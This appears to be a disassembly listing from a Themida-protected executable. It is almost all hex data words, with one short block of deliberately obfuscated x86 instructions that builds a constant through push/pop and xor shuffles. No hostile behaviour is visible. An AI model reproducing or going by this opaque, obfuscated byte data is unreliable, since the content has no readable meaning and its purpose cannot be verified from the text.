		dd 0F8EBC352h, 11E8EAA7h, 0B2000000h, 0B491BAA1h, 4C2E9CE0h
		dd 6A42139Fh, 8EADAB33h, 167D9D89h, 0C75E0610h,	1022C185h
		dd 6, 3EF8000h,	30C5B5FFh, 1BB70610h, 2DB995FFh, 6A0610h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 0F37237C3h, 705CDB7Eh, 8BBF401Bh, 100E9D9Dh,	0C5958906h
		dd 6A06101Eh, 0C995FF00h
		db 31h,	10h
word_5D196A	dw 8B06h		; DATA XREF: Themida_:0054BE60o
		dd 6B3CEBC0h, 11FE1D6h,	0C8B9595Fh, 0C5204D80h,	5396B57Eh
		dd 0F3A82E80h, 799249ACh, 60C4E2FBh, 0CCE004FDh, 0C53ADBh
		dd 2A90B951h, 0C9B2F402h, 0D73758B9h, 0B3217F3Eh, 89B069FEh
		dd 0EB54C257h, 39AE900h, 3BEB0000h, 0FB544F8h, 30D564D8h
		dd 0FB443F7h, 2DDF56D2h, 304C3AEEh, 5BCF0EC2h, 74E829DCh
		dd 520641E5h, 73E71CC3h, 3D858478h, 0D96BD419h,	7A3250DCh
		dd 0CBB58743h, 0CC7C62E0h, 0D1A6826Dh, 0D88F630Ah, 8C0BBFA3h
		dd 971E9AD7h, 7302B6F5h, 9F1692D1h, 0ADD3ADEEh,	493D782Eh
		dd 7C843EEDh, 4606DCCh,	42E86FE7h, 1BC45307h, 3FEA14E6h
		dd 6DCC7C83h, 0A81A1163h, 4C6DCC7Ch, 5FD7F4D0h,	0F7EFB5A8h
		dd 1A2AB067h, 14043371h, 13104D53h, 9F44432Fh, 8FBCAE62h
		dd 7EA3C75h, 46EA61A6h,	453BF207h, 0E195D076h, 0EA0647EAh
		dd 64A1460Dh, 5F7C9BE8h, 1899608Dh, 495F12BEh, 3522C246h
		dd 863DB384h, 80587551h, 14D96089h, 564A269Eh, 14B8B70Fh
		dd 861D569Eh, 92718A63h, 0D76A3Fh, 57940000h, 9691F5CAh
		dd 2FF5D25Ch, 533F7E32h, 1F0AF4C8h, 6DCC7CA3h, 0EE12E743h
		dd 0CC7C933Bh, 3EF6B6Dh, 32A6DB84h, 0DBC7FCA3h,	0F20CCFE6h
		dd 0FC1B5A37h, 34E03C67h, 0CCB8EF95h, 0A34616CDh, 0B5927E62h
		dd 17C10FA6h, 8A03419h,	0D5C57BBh, 6DB44BF0h, 78CD81B6h
		dd 3D858461h, 0D99423CBh, 977FBC54h, 5E16183h, 8F1C0FE1h
		dd 179E13B6h, 0BC70671Bh, 5CDFC17Dh, 0C48F6CA5h, 0DE0FE120h
		dd 2EE5876Eh, 69153286h, 805A819Ch, 0FDDA15B9h,	0B3E230DBh
		dd 0C6A29E13h, 0B526AD12h, 0C6D3F09Bh, 4A119423h, 919166A7h
		dd 46EAE195h, 20C45307h, 3DC035E1h, 580DCC9Eh, 73364A1Fh
		dd 8003BD83h, 0CC4BFF5Bh, 7B65D918h, 0A357B452h, 8F6193FBh
		dd 392269Ch, 8562BE80h,	1EBD5CBFh, 0C245D4Ch, 0CBC267FCh
		dd 0E02DE15h, 4C00D077h, 391D190Dh, 878DD985h, 19E94246h
		dd 866309F9h, 3CF7E4F7h, 23F1338Bh, 265B0494h, 5B11C8B2h
		dd 0D7F47024h, 826EA35Ch, 55275C03h, 0C3A8DD86h, 549328C4h
		dd 2FEF0C98h, 8BAA495Ah, 702B9FD4h, 397B3C9Dh, 1C7Dh, 0BD5CCF00h
		dd 345D4C1Eh, 0D267FC1Bh, 742BAA56h, 0D0C4FDA4h, 4BBC7054h
		dd 30h,	407D32C1h, 504DA54h, 6DCC7CBDh,	7CCE7437h, 4A266DCCh
		dd 3A01D652h, 5C825C91h, 0CC7C15ADh, 32DAF16Dh,	0C4F2D7FBh
		dd 702793BFh, 1096203Dh, 2E407D32h, 8FBCF7ABh, 0D1DE1A79h
		dd 0B693A2h, 0D678330Dh, 2E6DCCA9h, 0A0473E32h,	2EE217D0h
		dd 0A9F54D3Ch, 15116DCCh, 77611531h, 46FC25BCh,	2DDCE00Bh
		dd 6DCCA989h, 58532D53h, 6DCCA9EAh, 0DB670E0Ah,	3B6DCCA9h
		dd 45D5BD6h, 5571FEEBh,	23E33068h, 0E2F72D71h, 7F2A4420h
		dd 6DCC21C3h, 4934723h,	0C8B2265Bh, 457E23B6h, 9C26D551h
		dd 786DCC21h, 0A53CDFFCh, 108Ah, 8023B600h, 329E2643h
		dd 39504479h, 87E15D92h, 3D8032B5h, 64995249h, 3A7519B0h
		dd 5D9E4F46h, 3F7E32A9h, 51903453h, 448126A5h, 5B943950h
		dd 417830A7h, 8953CF55h, 4C381E3h, 83000000h, 1C8704EBh
		dd 24248B24h, 186068h, 24048900h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	edi
		push	57A3DDCh
		pop	edi
		shr	edi, 8
		or	edi, 23B261E0h
		dec	edi
		push	ecx
		mov	ecx, 25AF1EBBh
		xor	edi, ecx
		pop	ecx
		mov	eax, edi
		pop	edi
		push	3AC2h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		push	ebx
		push	edi
		mov	edi, eax
		mov	ebx, edi
		pop	edi
		mov	[esi+8], ebx
		pop	ebx
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		dd 8AE9764Ch, 0FD6DC3DCh, 0A89FDB4Fh, 186857B8h, 0FFC50306h
		dd 0A3FDC9E0h, 3492662Bh, 0D3E14A2Ah, 0D0DB0C77h, 0CA8D506Eh
		dd 43361F74h, 7590A67Dh, 0EDB4DF26h, 83146237h,	0B2EEF111h
		dd 6605695Bh, 5045917Ah, 63450943h, 62A0141Ch, 622FDA67h
		dd 291D9A6Bh, 78E494Eh,	0BC740040h, 390C3525h, 0C60EB63Bh
		dd 0D754CF2Eh, 370E4805h, 54A6B705h, 126A941Eh,	107F0A6Eh
		dd 0D25D4A30h, 2CF1868h, 0BF961713h, 0C5DC8079h, 58C28B52h
		dd 13E9h, 91666E00h, 0CBDED948h, 9D9E585Ah, 0BDE20A1Ch
		dd 0FD5BD465h, 11E9EC8Ah, 6000000h, 833F7FDCh, 6269B089h
		dd 0DC13018Bh, 0B0E566FAh, 10E8h, 0B8EA6000h, 0BF795E35h
		dd 223AE6EBh, 0ABF33557h, 0CFBF0FEDh, 32E1815Ah, 0F22D0BBh
		dd 0A87h, 5E900h, 26D90000h, 0B6339C73h, 0CE96Bh, 271F0000h
		dd 0B9A2BFFAh, 8B482383h, 0BE901B7h, 0E4000000h, 96AF9FB8h
		dd 2E61D955h, 0BA6676BFh, 60609EC2h, 81666160h,	610599CEh
		dd 61DEB70Fh, 0E15B866h, 11E9h,	45E1FC00h, 5B63BF3h, 0A06C15FAh
		dd 2DABB33Ch, 9E8025Ch,	0C0000000h, 0D735A350h,	59C5CDACh
		dd 58B0Fh, 81660000h, 5EB374EAh, 0EEB3C181h, 5CB9064Dh
		dd 0E9736CE5h, 5, 988E779Ah, 0C8BF0F0Dh, 10E9CC8Ah, 53000000h
		dd 0C7A964E7h, 0C1B62F16h, 6B88DBCAh, 66BB167Bh, 0FF9FB8Bh
		dd 0BF0FDFB7h, 0E9FC8AD0h, 12h,	6D64EBF5h, 725AA548h, 7769AF18h
		dd 8BC15997h, 13E96E9Eh, 35000000h, 63C5AF24h, 71D07543h
		dd 52EA32BDh, 57610035h, 8166766Ah, 0BE1AFADAh,	0C9A0E11h
		dd 5840Fh, 81660000h, 0F3713E2h, 385h, 0C6B70F00h, 0BE50FA8Ah
		dd 786C5592h, 8166F95Eh, 601801F1h, 61CF8B66h, 6E8h, 0E23BFF00h
		dd 0F55A4984h, 0F9BF0F5Bh, 81F3B70Fh, 559C5CFh,	6F4EB978h
		dd 8B522AD1h, 9E95FDEh,	96000000h, 67C918BCh, 4D8CEB9Dh
		dd 0BE9h, 0F8E7D700h, 0CD6BBAE3h, 0A906F31Ah, 27DA5CBAh
		dd 0F6B70F08h, 0EF818AB1h, 42FACFF1h, 0A6C18166h, 6686B6C3h
		dd 0F8E63CBFh, 1810Fh, 0E8F90000h, 0Ch,	60FDE4F1h, 0A888A2BCh
		dd 66115E5Dh, 8E9h, 0E8058C00h,	0BDEC4E88h, 0C480591Fh
		dd 6800F58h, 81000000h,	0F84632E3h, 38A0F1Eh, 0F000000h
		dd 80B6F3B7h, 0A850Fh, 5E90000h, 9D000000h, 0F9F152AEh
		dd 0A6BA66FCh, 0AAB6BBBEh, 0BF0F5B0Bh, 11E8D0h,	8A9C0000h
		dd 0DD22B8B1h, 0F4511591h, 184982DBh, 664273CCh, 0B65FC88Bh
		dd 0C5C081C2h, 8148C1BFh, 0E998DFDFh, 10E839h, 0C2D70000h
		dd 4AB7CED4h, 0C209B7A3h, 0D52D9A06h, 11BE993Fh, 58160CFCh
		dd 8FC98166h, 0CA816616h, 0D2815ADBh, 30E17E0Dh, 0E9F0B70Fh
		dd 11h,	0BA8E8909h, 0DEFAE468h,	9D50BA26h, 0F685232Eh
		dd 0D6816686h, 11E9B034h, 0C2000000h, 5F37D00Bh, 2AE769FFh
		dd 6952360Fh, 3CD67CFCh, 2870Fh, 0C38B0000h, 0CE9h, 0C4D28500h
		dd 0B2F2A750h, 45BD8207h, 19870F87h, 0E8000000h, 13h, 0F888D2C1h
		dd 0D19086DAh, 0A75889DBh, 0C4542A8Ah, 5B0727E2h, 18C0Fh
		dd 81F90000h, 0D964F6E8h, 28810F22h, 0E8000000h, 12h, 0B9794085h
		dd 4CFA0228h, 2F31EA0Bh, 0F39DBFDBh, 0BE909F3h,	37000000h
		dd 0F890F7E5h, 2DE7B292h, 0E85E37A0h, 0Ch, 5DABC372h, 4538CC6Fh
		dd 77062954h, 0BE616060h, 4D817978h, 0BF0F5861h, 61C381D7h
		dd 800D8374h, 0F4808EE3h, 9E95Ch, 342F0000h, 785ED287h
		dd 80E1286Eh, 81609FC4h, 0D78E87C3h, 7E96103h, 88000000h
		dd 0DE740FD8h, 0BB66C9B8h, 840F89A3h, 2, 0F78BE88Ah, 2810Fh
		dd 0DA8B0000h, 0FC3B70Fh, 8166FBBFh, 0F06D5EEh,	820FD7B7h
		dd 4, 0C652BA66h, 9C6ABBF9h, 10E86195h,	3C000000h, 0A456A54Ch
		dd 0A9147601h, 860FFA17h, 815455B3h, 4D0B13E1h,	0B70F5B64h
		dd 1A1CBAC8h, 0DA8A0248h, 66C7BF0Fh, 0E830D181h, 12E9h
		dd 3036BD00h, 0AB13564Ah, 5A39DACDh, 0B0FFF05Eh, 0E91A22CFh
		dd 12h,	9240181Dh, 516132EAh, 99616A28h, 58C6FA3Ch, 0C1B812BAh
		dd 0F39770Ah, 981h, 3820F00h, 80000000h, 0ADBB0AE6h, 0F853A8C9h
		dd 5E9DE8Bh, 0F5000000h, 0DE750940h, 58C0Fh, 81660000h
		dd 52149FDFh, 0AE9h, 0AB425A00h, 148DA412h, 5EFBEDBEh
		dd 0D1B70FF5h, 97B25160h, 60E8815Fh, 616CC5CFh,	0BF0FE38Ah
		dd 0BAD281DFh, 8A7AC26Ch, 0C78BFCDDh, 0ABADEBAh, 0D18B6641h
		dd 0F95641B9h, 0F0D68133h, 664E5975h, 7D0CC081h, 0C8C0Fh
		dd 7E90000h, 18000000h,	8A00B82Fh, 0E18A4B3Dh, 6E9D08Bh
		dd 43000000h, 0EA6C57E3h, 38A0F0Ch, 66000000h, 0DC80CB8Bh
		dd 0EE8E8h, 0AB6D0000h,	92720457h, 309C82F4h, 5E02E430h
		dd 5AF38A50h, 0FE8B6658h, 0DE85857h, 0FE000000h, 0AF7E5FF0h
		dd 5BFF01BFh, 743141FEh, 85CE8166h, 0F515E1Ah, 0D89h, 8E900h
		dd 0C8C90000h, 0A4BFEC30h, 0B15A5398h, 5BB866FFh, 0B3D6B3F6h
		dd 0CE993h, 27A60000h, 26FB7DCBh, 0DB50E87Dh, 0E8521B3Eh
		dd 7, 6846DB38h, 0F82200E0h, 80605A5Ah,	0AE864E3h, 6C000000h
		dd 9078E030h, 0EB2AEBD3h, 8A0F63h, 58000000h, 0D88B6661h
		dd 0DF81DA8Bh, 7AC991FCh, 669EDB80h, 0F1198BEh,	8Dh, 14E900h
		dd 0D3680000h, 9AAC8EA3h, 0FF270AABh, 29B21461h, 8BEFFB64h
		dd 0D28072DCh, 40BB662Eh, 0F960529Eh, 8CEB8166h, 8B5E610Dh
		dd 816660CBh, 0E8B4FAEFh, 0Bh, 0E5131816h, 2C74959Bh, 0BB668B89h
		dd 2293B7B5h, 0FC57615Bh, 0C681665Eh, 0BE6625CCh, 0BA663461h
		dd 11E9D80Eh, 0EE000000h, 56FCBB8Ah, 7B9223EDh,	82423B1Fh
		dd 1EE9C2EAh, 0B86601B6h, 0F6811D0Eh, 35CE12D8h, 0F95EEBBEh
		dd 1A810F51h, 0E8000000h, 14h, 6AB0B461h, 787B4519h, 90EBA165h
		dd 43CAD94Ch, 43B37452h, 0FBBF0F5Bh, 30B9C38Bh,	66203B3Fh
		dd 148CC281h, 7098BA66h, 15880F60h, 0E9000000h,	10h, 0E233137Eh
		dd 0DD76680Ch, 886F599Dh, 0BF9E6ACFh, 61C88B66h, 65C18166h
		dd 0EB816639h, 0F98A9437h, 0F4CD980h, 178Eh, 0EE800h, 0A3830000h
		dd 0A30C0B7Eh, 1D2F6391h, 38634CD2h, 5FD08B66h,	14E8F9h
		dd 2E560000h, 599ACA26h, 7C70A72Eh, 7D3108CAh, 5C1C8F59h
		dd 870F4863h, 2, 0BF5FF98Bh, 5A00F2Dh, 0DF8BCB8Bh, 0FFBBDF8Bh
		dd 0F432303h, 184h, 0BF60F800h,	1EC81232h, 8B0F61F5h, 1
		dd 58BE66FCh, 0C2BF0FB5h, 0DE8h, 9DCABB00h, 0DBA38E90h
		dd 3250583h, 8B0FC2BEh,	2, 0E95FF38Ah, 13h, 7B9358E5h
		dd 3EB8ABEh, 0BF6B5CA4h, 563A32EDh, 0E82AAFC3h,	0Ah, 77CDF67Ah
		dd 4A6B691Bh, 0E960019Fh, 12h, 3ABD299Dh, 0DDEF7D57h, 5C1B1CDCh
		dd 6CA522B0h, 61F9D410h, 0DB816659h, 65BAD87Fh,	0F367C93h
		dd 8A0FCBBFh, 14h, 0FE9h, 0D05E3A00h, 22550960h, 76789658h
		dd 1FBCEBADh, 8E9F38Bh,	5D000000h, 0A374C237h, 0F5A47139h
		dd 51F7B70Fh, 250BF66h,	28C0F59h, 8A000000h, 0F890FECh
		dd 0E8000000h, 7, 272884E3h, 50EC796Dh,	11E85F59h, 2B000000h
		dd 0AB7B0E76h, 4D421C55h, 336F8A5Ah, 770D701Eh,	0AC09EA81h
		dd 0F9583FD8h, 0F0C68166h, 0E8816677h
		dd 0FE978E9h, 99000000h, 0F5654427h, 0C55772B3h, 921B59Bh
		dd 0BB66BC04h, 0D9BA8844h, 66537C25h, 5D5E081h,	816660F5h
		dd 66D58CC9h, 8A61F38Bh, 0AE8CFh, 5BFE0000h, 85A06BEFh
		dd 187CBE95h, 13E9h, 4A47EB00h,	572685D3h, 0FAD10159h
		dd 680B3A39h, 0F6DB58Fh, 7E85Fh, 0BA970000h, 0F5BB4937h
		dd 0F88B66A9h, 8E0F59h,	52000000h, 0C6B70F5Ah, 0D44FB866h
		dd 58E0Fh, 48B80000h, 8A21E6F5h, 4037B9C1h, 816666ECh
		dd 8AD334D6h, 0D38B66DAh, 0CAB70FF9h, 2FDD8056h, 54D9805Eh
		dd 19A4D181h, 81560866h, 101331D9h, 0F9F85977h,	7E950h
		dd 278A0000h, 6328507Fh, 8A0F5A34h, 1, 0AAB4BFF9h, 8E8567Ah
		dd 71000000h, 9ECBB28Eh, 0BA1B9E2Eh, 0AC6478Fh,	8166F55Bh
		dd 0B459CEEAh, 0FE8FCDFh, 53000000h, 675D33C4h,	0B8BC3651h
		dd 3EB02807h, 0DE8B4002h, 138C0F58h, 0E9000000h, 0Eh, 0CAF81865h
		dd 24254CBCh, 81EA7B9Fh, 0BF0F028Eh, 14E9C2h, 0E4700000h
		dd 0A2D8C542h, 0CA611DCCh, 91A7C5FBh, 499CF11Fh, 81608422h
		dd 0C842B2E3h, 5E951h, 8A680000h, 6101BC15h, 85C9AEB8h
		dd 11E94Dh, 17190000h, 0A7485F2Ah, 8824407Ah, 73B6C16Ah
		dd 8063C9ACh, 80601AD4h, 880F62F3h, 6, 8D0Fh, 0F9610000h
		dd 1CBBB6BEh, 0E9FA8B74h, 10h, 0EC4617C5h, 2B736375h, 8391435Fh
		dd 6A9457BBh, 0BE97AB0h, 35000000h, 0FF99221Ch,	303233E3h
		dd 0CA8BF576h, 0CC87C881h, 0F38B1363h, 9BBA66FCh, 138C0F73h
		dd 0E8000000h, 0Ah, 666312D8h, 1101993Ch, 0BF0F4C27h, 8B6658DBh
		dd 0F08166DAh, 0D381069Eh, 38394158h, 8CBB5F56h, 607486B0h
		dd 10E8F5h, 0CE220000h,	0AD5CE6B5h, 0F28B4569h,	99EF79AEh
		dd 6159C102h, 19830Fh, 14E90000h, 4B000000h, 573C24A4h
		dd 0E2C6B49Fh, 62F50AA1h, 0E488CEDFh, 0F97041Ah, 8166C6BFh
		dd 0F3767C8h, 0E960D0BFh, 0Fh, 55122297h, 2655157Dh, 162C4B27h
		dd 0BBA75B36h, 4B5A6888h, 8D0F6061h, 2,	9E9F1B7h, 5B000000h
		dd 9890ACDh, 3E3A4A3Ch,	8B665761h, 0F5659DEh, 805AC2B7h
		dd 0D88B07D7h, 0F78ACF8Ah, 10E9h, 0A90E9400h, 0CF541359h
		dd 0FF7C7386h, 0F78CB5ACh, 0EFE08131h, 51279E94h, 5AA9CE80h
		dd 0C30DF281h, 6E934D2h, 63000000h, 4CD21D2Fh, 8B66F963h
		dd 5E9C2h, 561F0000h, 6096EADEh, 5800Fh, 81660000h, 0F12E9D2h
		dd 0A8Bh, 5E900h, 932D0000h, 618C49FEh,	6650CE8Ah, 6059D68Bh
		dd 7E8h, 9F068100h, 62E5482Dh, 8C0F615Eh, 2, 880FF88Bh
		dd 6, 1783C781h, 0BF0F4F3Bh, 18810FDAh,	60000000h, 0FE95A57h
		dd 4000000h, 427A99F7h,	0DEC4500Bh, 2F158FC8h, 8061B9FFh
		dd 0E881D4D1h, 3D2AD142h, 5870Fh, 81660000h, 0F805A9D1h
		dd 0CFBF0F52h, 13E958h,	59950000h, 0EFD354F7h, 75830B53h
		dd 91052710h, 0B414336Dh, 8E8A5h, 7D780000h, 9F53C31Ah
		dd 0E1811090h, 13CC60F5h, 0E8F78B59h, 0Fh, 7CB41D8h, 0A79EE285h
		dd 0F07E8660h, 0F7E4CDFh, 1389h, 0EE900h, 35A70000h, 0E389D4C3h
		dd 557D15D5h, 550CC57Eh, 148F0F58h, 0E9000000h,	0Fh, 800C9A2Fh
		dd 0C97D21E1h, 460C40D2h, 0E9B604DBh, 8, 0CE03758Ch, 27B90E24h
		dd 0E85CDB80h, 12h, 0A954C516h,	5908E257h, 0C7667C2Ch
		dd 0D9953ECDh, 850FC521h, 6, 880Fh, 0F85A0000h,	13E8h
		dd 88ACC400h, 169C6882h, 2E844966h, 0D4059A4h, 13607AC7h
		dd 59C2B70Fh, 6659D580h, 664EE1BEh, 0BF0FCB8Bh,	0FB8B66DFh
		dd 0C7816660h, 61F5454Bh, 8C0FFA8Bh, 0
		dd 10E9h, 0E6AC7A00h, 5B0330E5h, 76D22F72h, 37DB27h, 228D0FD3h
		dd 0E8000000h, 0Fh, 400BD282h, 7ED432CFh, 3D62F336h, 0E8C526D3h
		dd 7, 2262F659h, 5F979B6Fh, 0B850F5Bh, 0F000000h, 582h
		dd 0F1816600h, 665140D6h, 590F16B9h, 8E8h, 60984B00h, 8BBA0341h
		dd 0DB8166B9h, 0E95AB50Ch, 6, 53F022BDh, 0D0818D3Ah, 4B292FCh
		dd 0BF0FECB7h, 0EA8166F8h, 7E91629h, 5A000000h,	68E93469h
		dd 0F58AF84Dh, 299CB866h, 14E9h, 47D85000h, 0DFBF8D11h
		dd 37ACE145h, 8973291Bh, 9FB02FC0h, 10E95317h, 0DF000000h
		dd 52C7F511h, 0B86D94D0h, 0BC58686Eh, 5EA2977Ah, 1CF8166h
		dd 0DE942h, 5B8E0000h, 510FDB1Fh, 0CA04EF2Eh, 0FDA3F80h
		dd 138Ah, 5F566000h, 9E8h, 0F211F200h, 0C835AA8Ch, 6158FD2Ch
		dd 0B8D98151h, 5F0C49C5h, 12880Fh, 0DE90000h, 28000000h
		dd 5467DABBh, 4E331F03h, 0F45940A5h, 0AAF08166h, 660FB375h
		dd 8060C28Bh, 0FC605CF7h, 0EE8h, 1E4BE900h, 8E93BD98h
		dd 30F667DCh, 5A43CD8Ah, 21BF6161h, 0E91720BBh,	0Dh, 74682A16h
		dd 5BC362B1h, 9F890832h, 0CE8B66B6h, 51FCD78Bh,	0B880Fh
		dd 6E90000h, 0AA000000h, 7CB41D8h, 0F78B5885h, 6E9h, 9E411500h
		dd 60929CC4h, 5E8E2B0h,	5B000000h, 8499279h, 5AC3BF0Fh
		dd 0ABC58061h, 800F82B1h, 3, 0FD3BF0Fh,	8B66F9B7h, 0B70FF9DAh
		dd 0F0F381FAh, 0E94CE865h, 5, 83AAEABAh, 0F8F5BECAh, 0B70F3457h
		dd 28F0FC8h, 8A000000h,	0CE9E1h, 64D80000h, 40FD0478h
		dd 4B5F6341h, 0BBF9A604h, 5D2B0B49h, 820F5B50h,	6, 13D8F781h
		dd 0BE95479h, 51000000h, 48189567h, 0BCA309E6h,	0EE8F717h
		dd 18000000h, 8A4273CCh, 0E6BC8467h, 0AB6F6F5h,	14E844h
		dd 6BD90000h, 847BE11Ah, 727A2980h, 0B9329278h,	0E2CE9973h
		dd 8166A659h, 59A5E8CFh, 5E95Bh, 72A70000h, 0F62D283h
		dd 0F781F1BFh, 43E88D95h, 0BE8h, 9F4E8D00h, 9B7CAFE5h
		dd 0DAC0EE22h, 0CE959h,	38B80000h, 77747621h, 762138B8h
		dd 7E97774h, 82000000h,	79D8721Ah, 7E84E61h, 4000000h
		dd 0B761E00Fh, 0EBB83F87h, 5F0A1AA6h, 810FF38Bh, 2, 0AE9E1B0h
		dd 0C2000000h, 241F9ECAh, 0A48A4109h, 0F58A6085h, 0FF861FCh
		dd 0AE9C7B7h, 8C000000h, 6EF63DD7h, 3C3CDB9Eh, 0DF81668Fh
		dd 8157C48Ch, 0DDDA25D9h, 6B55F21h, 0A1F68166h,	0CF8166A4h
		dd 0F609306h, 12E9C6BFh, 2D000000h, 9B1523FEh, 0E2D1D925h
		dd 0FDEABFF2h, 36A5EC56h, 0FF861A8h, 1F8Ch, 870F6000h
		dd 0
		dd 11E8h, 0AADAF00h, 3361C469h,	0F4C4B6E8h, 92EEE48Ch
		dd 615BCF18h, 7280B6BBh, 15880F40h, 0E8000000h,	9, 3653EC24h
		dd 0A60C207Eh, 830FFEh,	5A000000h, 3E0579BAh, 1CEF816Ah
		dd 6069A8E0h, 0B8DF8B66h, 1AC8387Dh, 0CA8BF561h, 8A8CC181h
		dd 0E8F9613Ch, 0Dh, 9E64C65Eh, 0D9EA0371h, 0DE43F608h
		dd 51B8668Dh, 850F5BBEh, 8, 0CCF28153h,	5A20FC7Eh, 1354B966h
		dd 6A28BF66h, 0F368B966h, 8E986B1h, 0DD000000h,	0E6E444C8h
		dd 8B02C26Dh, 0EDBA66F7h, 982BB869h, 8E93926h, 0E5000000h
		dd 0DE88D87Bh, 66ECE0E4h, 66C61EBBh, 0F4418BBh,	0A8Bh
		dd 5E900h, 28830000h, 0F9917B3Ch, 3880Fh, 0E7800000h, 0DE85322h
		dd 0B4000000h, 72E0AA49h, 0D6748776h, 0BB9398E4h, 0BF0F585Ah
		dd 0B2D78BF1h, 0F5CE8BDBh, 66D9BF0Fh, 0C380D08Bh, 0B866F5D7h
		dd 8E0F3EF1h, 7, 1870Fh, 66FC0000h, 0BE189ABBh,	6D130BBh
		dd 0CE9h, 19B88E00h, 85671DBh, 0D882984Dh, 0DE816629h
		dd 0BF0F3023h, 0A8B257FEh, 0B1CE8B59h, 0E3B852C7h, 5F739CA4h
		dd 0E6D6DA81h, 0F2817F1Fh, 5DC4DBF0h, 78A0Fh, 830F0000h
		dd 1, 1860FF8h,	0F5000000h, 0B9D482BAh,	4810F07h, 52000000h
		dd 0E85F6160h, 0Fh, 3E671454h, 0E39B2B8Fh, 90DB726Fh, 0E9A5BE9Ch
		dd 0Ah,	3B94B6B8h, 884DF861h, 665883BDh, 0BF66D68Bh, 66500A0Eh
		dd 5B908FB9h, 0E880Fh, 9E90000h, 53000000h, 283C87EEh
		dd 8056B9AFh, 0F6019B2h, 12E9C3B7h, 0FB000000h,	8D140AE6h
		dd 25F004h, 0B9053FF1h,	49135C2Ch, 0DE8614Fh, 9E000000h
		dd 0A3408FCDh, 0F33E03A5h, 0CBB6E9EAh, 665F90B7h, 0D56BF381h
		dd 6E8h, 0B9CDF800h, 0E868F324h, 8, 0ED239685h,	333C200Eh
		dd 5A5F6160h, 0E966D080h, 0Eh, 7151086Ah, 8FDDC84Ch, 0B1F8BD0h
		dd 44BE635Fh, 662C322Dh, 0D196E381h, 9E68166h, 0FE844h
		dd 0D9980000h, 0EDE1140Eh, 4556E474h, 0D88EB7A2h, 28B0FA5h
		dd 8A000000h, 6E85AEEh,	0EB000000h, 41A00700h, 23CB8043h
		dd 80DE8B5Ah, 0F0B2C5F1h, 8E9h,	64136900h, 4A583615h, 11E8CEh
		dd 33AE0000h, 99B16D2Fh, 744976ECh, 0A4D634A0h,	0F0C8081h
		dd 583h, 0D3816600h, 815B4BB4h,	1763F2E1h, 13E862h, 6390000h
		dd 0B1BD9607h, 0DF793EC9h, 4D96D75Fh, 0CB137666h, 0F28B6679h
		dd 0E9576058h, 0Eh, 2E687471h, 0D4596000h, 0EFF2B25Fh
		dd 61588218h, 28F0Fh, 5FB00000h, 0F5CFB70Fh, 0E9D9B70Fh
		dd 6, 39B2841Dh, 8B0F56C2h, 5, 2051D2BEh, 0CE909h, 5ECD0000h
		dd 2E71141h, 0BC0A9E0Fh, 8E8020Ch, 0BF000000h, 0A12949D5h
		dd 8A670B07h, 5E958D5h,	0
		dd 0E0664F32h, 71EE80F9h, 12E9h, 0FB343300h, 373BB1Fh
		dd 0A96A20ECh, 5DB4D9Dh, 60873A0Dh, 66DEB70Fh, 0A521C681h
		dd 2B86661h, 5840F83h, 0BF000000h, 397DBB8Bh, 5E9h, 186BE700h
		dd 0BA667C4Eh, 76B88F3Dh, 0B02CAD4Dh, 0AE80Ah, 0E8F20000h
		dd 5EC5C0BFh, 28DFAC49h, 11E9h,	879C0700h, 6D05FB0Ah, 0A358555Fh
		dd 63CD2A3Dh, 605E29CBh, 666112B1h, 0F5B31BFh, 486h, 0C68A5200h
		dd 33CB805Ah, 8BDEB70Fh, 66C4B1DAh, 0E92849BEh,	9, 57A32A73h
		dd 6AD6022Ch, 0E981668Fh, 8166CF02h, 604742E1h,	0E3816651h
		dd 6159AA63h, 12E9h, 0BFB08F00h, 7A0B3CD8h, 0C0D249ECh
		dd 120AACDEh, 0BF62C28Dh, 0EE28E3Eh, 18DF8166h,	0F38B6616h
		dd 668BC780h, 0B318D6BBh, 0F780F5D2h, 0FD68B8Fh, 0E9F8F7B7h
		dd 0Bh,	0FD67697Fh, 0E07409B1h,	669C075Ch, 0F38BF88Bh
		dd 6059FC56h, 59FB8B51h, 12E8h,	0B4BB8200h, 9EB5F692h
		dd 93245990h, 8A4C4B87h, 609856C1h, 0B0615E61h,	0DCBA66E3h
		dd 9E9F8h, 0BDAA0000h, 9C9A9FFDh, 66C4C1A8h, 890FC18Bh
		dd 0
aS_8		db 'µ·è',0Bh,0
		db 2 dup(0), 17h
		dd 82C85B21h, 0C67AA528h, 805F6DD8h, 8B6680F0h,	10E8FBh
		dd 0B26A0000h, 0B8EF922Fh, 32967240h, 3DDAC975h, 8D0F5F1Bh
		dd 14h,	0FE9h, 15AD5000h, 6D446F45h, 43A3F628h,	0F9E0F735h
		dd 571EB65Eh, 6060F958h, 800Fh,	810F0000h, 0
		dd 3880F61h, 80000000h,	0F6121C3h, 189h, 0B966F900h, 8A5385F6h
		dd 880F5FEFh, 6, 3161DA81h, 11E96CCBh, 68000000h, 20497A16h
		dd 863241E1h, 0D7C0A1B8h, 53C03D11h, 8E96060h, 7F000000h
		dd 0BCDB1E4Ch, 609582EFh, 810F6161h, 6,	870Fh, 0B9610000h
		dd 2812A2CBh, 0ACA6D281h, 11E878BCh, 52000000h,	7198E207h
		dd 191027F5h, 4A9158C3h, 862EF6FDh, 9CC68166h, 0FF85F19h
		dd 28Fh, 0F6BB400h, 380h, 0C9BF0F00h, 66F0B70Fh, 66BD6FBBh
		dd 66D42ABBh, 10E9F08Bh, 93000000h, 647E7BCh, 1B0F4575h
		dd 63FA0301h, 66D03E0Eh, 0B70FCA8Bh, 11E9F2h, 0B20A0000h
		dd 4BD9FF8Fh, 5ED8012Eh, 0F65BF7E6h, 0E9546E8Ch, 0Ah, 4DDA7953h
		dd 0B3B56E2h, 0F98A088Bh, 0FCB8B66h, 483h, 8BBF6600h, 0D9BF0FC9h
		dd 0BE8h, 7C96F400h, 740082B0h,	787C9E69h, 5E91C580h, 6CD037B8h
		dd 0F94B26Ch, 0C68BCBBFh, 0E930C180h, 0Fh, 664E82FEh, 0F479A5F1h
		dd 0E7008B23h, 0E87E6C4Bh, 8, 1075830Bh, 6D910527h, 0A74184BEh
